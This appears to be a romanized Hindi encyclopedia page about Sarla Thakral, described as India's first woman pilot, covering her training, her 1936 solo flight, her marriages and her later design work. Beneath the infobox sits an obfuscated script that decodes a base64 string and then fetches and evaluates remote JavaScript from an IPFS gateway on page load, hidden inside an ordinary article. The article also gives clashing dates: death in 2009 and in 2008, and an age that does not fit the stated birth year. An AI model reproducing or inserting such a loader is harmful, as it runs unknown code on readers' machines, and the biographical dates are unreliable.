सरला ठकराल

sarala thakaral
sarala thakaral|200px|center
poora nam	sarala thakaral
janm	1914
janm bhoomi	nee dilli, bharat
mrityu	15 march, 2009
pati/patni	pi. di. sharma
karm bhoomi	bharat
prasiddhi	pratham bharatiy mahila viman chalak
nagarikata	bharatiy
any janakari	sarala thakaral ne 1929 mean dilli mean khole ge flaiang klab mean viman chalan ka prashikshan liya tha aur ek hazar ghante ka anubhav batora tha.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sarala thakaral (aangrezi: Sarla Thakral ; janm- 1914, nee dilli, bharat; mrityu- 15 march, 2009) bharat ki pratham mahila viman chalak thian. 1936 mean sarala thakaral paranparaoan ko to date hue eyarakrapht u dane vali pahali bharatiy mahila bani thian. unhoanne 'jipsi m aauth' ko akele hi u dane ka karanama kar dikhaya tha. khas bat yah thi ki unhoanne varsh 1936 mean pahali bar sa di pahan kar havaee jahaz u dane ka gaurav hasil kiya tha. aisa karane vali bhi vah bharat ki pahali nari thi. sath hi sath us samay vah ek char sal ki beti ki maan bhi thian.

jivan parichay

sarala thakaral ka janm 15 march ko nee dilli, bharat mean hua tha. unhoanne 1929 mean dilli mean khole ge flaiang klab mean viman chalan ka prashikshan liya tha aur ek hazar ghante ka anubhav batora tha. dilli ke flaiang klab mean unaki bheant apane bhavi pati pi. di. sharma se huee. vivah ke bad unake pati ne unhean vyavasayik viman chalak banane ke lie protsahan diya. pati se protsahan pakar sarala thakaral jodhapur phlaiang klab mean treniang lene lagi thian. lahaur ka havaee adda aitihasik pal ka gavah bana. jab 21 varshiy sarala thakaral ne apani sa di ka palloo thik kiya aur ja baithian jipsi m aauth namak do sitoan vale viman mean. unhoanne aankhoan par chashma chadhaya aur viman ko akele hi akash mean le u dian. tatkalin samay mean viman u dana bahut b di bat samajhi jati thi aur oopar se purush ka us samay is kshetr par poori tarah se varchasv tha. is tarah sarala thakaral bharat ki pahali mahila viman chalak banian.

karyakshetr

solah sal ki umr mean sarala ne pi. di. sharma, jo ek vyavasayik viman chalak the, se shadi ki thi. unake pati ne hamesha hi unako protsahit kiya. ek iantaravyoo ke dauran sarala ne bataya tha ki, “mere pati ko pahale bharatiy eyar mel payalat ka laiseans mila tha. unhoanne karachi aur lahaur ke bich u dan bhari thi. jab maianne apane avashyak u dan ke ghante poore kar lie, tab mere prashikshak chahate the ki maian solo u dan bharooan, lekin mere pati vahaan nahian the. mujhe mere parivar ke saport ki zaroorat thi. maian unase anumati lena chahati thi. un l dakoan ne bhi mujhase kabhi koee saval nahian kiya, jinhean mere sath prashikshit kiya ja raha tha. sirph phlaiang klab ka ek vyakti jo klark tha, ko mere u dane se apatti thi. anyatha mujhe kabhi kisi virodh ka samana nahian karana p da.” 1939 mean hi ek viman durghatana mean unake pati mare ge. isi dauran doosara vishv yuddh chhi d gaya aur jodhapur klab band ho gaya. usake bad sarala ne apane jivan ki disha badal li. sarala thakaral ke mata-pita ne unaka doosara vivah kiya aur ve vibhajan ke bad lahaur se dilli a geean. dilli akar unhoanne peantiang shuroo ki. phir ve kap de aur gahane dizain karane lagian aur karib 20 sal tak apani banayi chijean vibhinn kutir udyogoan ko deti rahian.

nidhan

apane jivan mean saphalataoan ke kee ayam chhoone vali sarala thakaral ka 15 march, 2008 ko nidhan ho gaya, lekin unaki ye preranadayak kahani sahas aur atmavishvas ki ek anoothi kahani hai. unaki zindagi ka sangharsh aur usake bad mili saphalata age ane vali mahilaoan ke lie hamesha preranasrot bani rahegi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• iandiya ki pahali vuman payalat ne sa di pahanakar u daya tha havaee jahaj
• ye haian doosare vishv yuddh ke bharatiy hiro